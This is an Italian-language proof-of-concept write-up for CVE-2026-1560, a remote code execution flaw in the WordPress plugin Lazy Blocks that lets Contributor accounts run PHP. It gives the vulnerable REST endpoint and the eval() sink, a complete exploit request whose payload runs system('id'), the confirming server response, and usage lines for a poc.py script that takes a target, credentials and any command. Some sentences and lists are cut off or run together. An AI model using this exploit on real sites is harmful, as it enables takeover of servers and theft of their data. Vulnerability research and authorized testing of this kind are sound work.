
Proof-of-concept exploit per CVE-2026-1560, una vulnerabilità di esecuzione remota di codice autenticata nel plugin WordPress Lazy Blocks, che consente a utenti con privilegi bassi di eseguire PHP arbitrario tramite REST API.
Ricercatore: ZeYrOXxx
Plugin: Custom Block Builder – Lazy Blocks
Versioni Affette: ≤ 4.2.0
Gravità: Alta
CVSS: 8.8
Tipo di Vulnerabilità: Esecuzione Remota di Codice Autenticata (RCE)
Vettore di Attacco: REST API
Privilegio Richiesto: edit_posts (Contributor+)
È stata identificata una vulnerabilità di sicurezza ad alta gravità nel plugin WordPress Custom Block Builder – Lazy Blocks che interessa le versioni fino alla 4.2.0 inclusa.
La vulnerabilità consente a utenti autenticati con privilegi bassi (ruolo Contributor) di eseguire codice PHP arbitrario sul server tramite un endpoint REST API destinato alla funzionalità di anteprima dei blocchi.
Questo problema compromette completamente il modello dei privilegi di WordPress e può portare alla .
POST /wp-json/lazy-blocks/v1/block-builder-preview/
L'endpoint è accessibile a qualsiasi utente autenticato con la capacità edit_posts.
La route REST è registrata con un callback di permessi debole:
'permission_callback' => array( $this, 'block_builder_preview_permission' )
Questo include i Contributor, a cui non dovrebbe mai essere consentito eseguire codice PHP.
REST Controller – classes/class-rest.php
$block = $request->get_param( 'block' );
$block_result = lazyblocks()->blocks()->render_callback(
$attributes,
null,
null,
$context,
$block_data
);
Block Renderer – classes/class-blocks.php
public function php_eval( $code, $attributes, $context ) {
ob_start();
eval( '?>' . $code );
return ob_get_clean();
}
La funzione eval() esegue codice PHP controllato dall'attaccante senza sanitizzazione o validazione.
Lazy Blocks consente logica di rendering PHP personalizzata per i blocchi.
L'endpoint di anteprima della REST API accetta definizioni di blocchi fornite dall'utente e non distingue tra blocchi memorizzati attendibili e blocchi di anteprima controllati dall'attaccante.
Iniettando attributi di blocco appiattiti come:
code_output_methodcode_editor_htmlun attaccante può raggiungere il sink di esecuzione php_eval() ed eseguire codice PHP arbitrario.
Richiesta:
POST /wp-json/lazy-blocks/v1/block-builder-preview/ HTTP/1.1
Host: example.com
Content-Type: application/json
Authorization: Basic [Contributor_Credentials]
{
"context": "editor",
"block": {
"slug": "exploit-block",
"code_output_method": "php",
"code_editor_html": "<?php echo 'VULNERABLE: ' . system('id'); ?>"
}
}
Risposta:
HTTP/1.1 200 OK
Content-Type: application/json
{
"success": true,
"response": "<div useBlockProps>VULNERABLE: uid=33(www-data)...</div>"
}
✔ Esecuzione di comandi arbitrari confermata
Questo PoC è fornito esclusivamente per scopi di test di sicurezza e ricerca.
Un attaccante con accesso Contributor può:
wp-config.php)eval() su input controllati dall'utentemanage_options o unfiltered_htmlrequestsedit_posts (Contributor+)pip install requests
python3 poc.py <target_url> <username> <password> "<command>"
python3 poc.py https://victim.site contributor password "id"
Se il target è vulnerabile, l'output del comando verrà restituito nella risposta HTTP.
⚠️ Questo proof-of-concept è destinato esclusivamente a test di sicurezza autorizzati e scopi di ricerca.